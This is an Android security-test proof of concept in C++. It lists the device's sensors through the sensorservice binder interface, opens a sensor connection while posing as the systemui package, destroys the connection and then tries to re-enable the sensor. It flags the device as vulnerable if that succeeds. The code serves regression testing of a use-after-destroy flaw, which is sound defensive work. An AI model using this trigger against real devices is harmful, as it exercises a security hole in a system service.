You can not select more than 25 topics
Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.
123 lines
4.3 KiB
123 lines
4.3 KiB
/**
|
|
* Copyright (C) 2020 The Android Open Source Project
|
|
*
|
|
* Licensed under the Apache License, Version 2.0 (the "License");
|
|
* you may not use this file except in compliance with the License.
|
|
* You may obtain a copy of the License at
|
|
*
|
|
* http://www.apache.org/licenses/LICENSE-2.0
|
|
*
|
|
* Unless required by applicable law or agreed to in writing, software
|
|
* distributed under the License is distributed on an "AS IS" BASIS,
|
|
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
|
* See the License for the specific language governing permissions and
|
|
* limitations under the License.
|
|
*/
|
|
#include <binder/IPCThreadState.h>
|
|
#include <binder/IServiceManager.h>
|
|
#include <binder/Parcel.h>
|
|
#include <binder/ProcessState.h>
|
|
#include <sensor/Sensor.h>
|
|
#include <stdio.h>
|
|
|
|
#include "../includes/common.h"
|
|
|
|
using namespace android;
|
|
|
|
void poc(int handle) {
|
|
status_t err;
|
|
sp<IServiceManager> sm = defaultServiceManager();
|
|
String16 name(String16("sensorservice"));
|
|
sp<IBinder> service = sm->getService(name);
|
|
|
|
if (service) {
|
|
Parcel data, reply;
|
|
data.writeInterfaceToken(service->getInterfaceDescriptor());
|
|
data.writeString8(String8("com.android.systemui.doze.DozeScreenBrightness"));
|
|
data.writeInt32(0 /*mode*/);
|
|
data.writeString16(String16("com.android.systemui"));
|
|
err = service->transact(2 /*CREATE_SENSOR_EVENT_CONNECTION*/, data, &reply, 0);
|
|
printf("CREATE_SENSOR_EVENT_CONNECTION err %08x \n", err);
|
|
|
|
sp<IBinder> binder = reply.readStrongBinder();
|
|
|
|
if (binder) {
|
|
{
|
|
Parcel data, reply;
|
|
data.writeInterfaceToken(binder->getInterfaceDescriptor());
|
|
data.writeInt32(handle); // handle
|
|
data.writeInt32(1); // enabled
|
|
data.writeInt64(0); // samplingPeriodNs
|
|
data.writeInt64(989680); // maxBatchReportLatencyNs
|
|
data.writeInt32(0); // reservedFlags
|
|
err = binder->transact(2 /*ENABLE_DISABLE*/, data, &reply, 0);
|
|
printf("ENABLE_DISABLE transact err %08x \n", err);
|
|
}
|
|
|
|
sleep(1);
|
|
|
|
{
|
|
Parcel data, reply;
|
|
String16 name = binder->getInterfaceDescriptor();
|
|
data.writeInterfaceToken(name);
|
|
err = binder->transact(6 /*DESTROY*/, data, &reply, 0);
|
|
printf("DESTROY transact err %08x \n", err);
|
|
}
|
|
|
|
{
|
|
Parcel data, reply;
|
|
data.writeInterfaceToken(binder->getInterfaceDescriptor());
|
|
data.writeInt32(handle); // handle
|
|
data.writeInt32(1); // enabled
|
|
data.writeInt64(0); // samplingPeriodNs
|
|
data.writeInt64(989680); // maxBatchReportLatencyNs
|
|
data.writeInt32(0); // reservedFlags
|
|
err = binder->transact(2 /*ENABLE_DISABLE*/, data, &reply, 0);
|
|
if (reply.readInt32() == OK) {
|
|
// Success in enabling a sensor after destroy leads to
|
|
// security vulnerability.
|
|
exit(EXIT_VULNERABLE);
|
|
}
|
|
printf("ENABLE_DISABLE transact err %08x\n", err);
|
|
}
|
|
} else {
|
|
printf("binder is null!\n");
|
|
sleep(3);
|
|
}
|
|
}
|
|
}
|
|
|
|
void get_sensor_list() {
|
|
sp<IServiceManager> sm = defaultServiceManager();
|
|
String16 name(String16("sensorservice"));
|
|
sp<IBinder> service = sm->getService(name);
|
|
if (service) {
|
|
Parcel data, reply;
|
|
data.writeInterfaceToken(String16("android.gui.SensorServer"));
|
|
data.writeString16(String16("opPackageName"));
|
|
service->transact(1 /*GET_SENSOR_LIST*/, data, &reply);
|
|
|
|
Sensor s;
|
|
Vector<Sensor> v;
|
|
uint32_t n = reply.readUint32();
|
|
v.setCapacity(n);
|
|
while (n > 0) {
|
|
n--;
|
|
reply.read(s);
|
|
v.add(s);
|
|
String8 nm = s.getName();
|
|
std::string nstr = nm.string();
|
|
String8 vd = s.getVendor();
|
|
std::string vstr = vd.string();
|
|
int32_t handle = s.getHandle();
|
|
printf("%s : %s, handle %d\n", nstr.c_str(), vstr.c_str(), handle);
|
|
poc(handle);
|
|
}
|
|
}
|
|
}
|
|
|
|
int main(int /* argc */, char** /* argv */) {
|
|
get_sensor_list();
|
|
return 0;
|
|
}
|